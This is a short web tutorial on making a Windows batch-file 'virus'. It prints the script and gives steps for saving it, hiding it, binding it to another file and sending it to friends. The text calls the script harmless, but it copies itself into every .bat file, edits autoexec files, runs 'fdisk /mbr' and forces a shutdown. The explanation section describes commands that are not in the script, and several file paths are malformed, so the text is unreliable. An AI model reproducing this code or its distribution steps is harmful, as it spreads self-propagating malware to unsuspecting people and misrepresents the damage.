How to create a virus

• Understand the following: It’s just a harmless “virus”. It only prints some scary messages and finally shuts down the computer. As you start it again, your computer will work as it did before!
• Read the virus: Below you see the Computer-Code that is executed as you start the virus. The lines that start with REM are comments that the computer ignores. The explain you what the above line does.

@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:tmp.bat >null attrib +r +s +h c:tmp.bat echo for %%i in (*.bat) do copy c:tmp.bat+%%i %%i >>c:windowssystem32autoexec.NT
echo echo virus detected! >>c:windowssystem32autoexec.NT
echo pause >>c:windowssystem32autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:autoexec.bat
echo echo system hault-virus identified! >>c:autoexec.bat
echo chkdsk >>c:autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has incountered a write fault at 0×00000000000000000000000000000000000″

Code Details

@echo off
color 1a (Changes the colour)
echo (Displays a text)
echo: (leaves a line)
ping -n 2 127.0.0.1>nul (pings your localhost – nothing much)
shutdown.exe (shutdown)

1. Read and understand the warnings!
2. Open up Notepad in Windows. You can do this by navigating to Start > Programs > Accessories > Notepad, or simply by entering notepad under Start > Run.
3. Copy and Paste the Code of the “virus” into Notepad
4. Click File -> Save as
5. Decide for a location to save the fake-virus. You should chose a location where the user won’t find the file, so saving it on the desktop would be a bad idea!
6. Change “.txt” to “All files” in the file type drop-down menu
7. Chose a harmless filename. Replace the “.txt” at the with “.bat”
8. Click on save and close Notepad.

Now We Have Completed Making The Virus And Now We Must Bind The Virus With Any Other File
 After Binding The File Then Just Sent This File To Your Friends Then You can Just sit back and enjoy the show!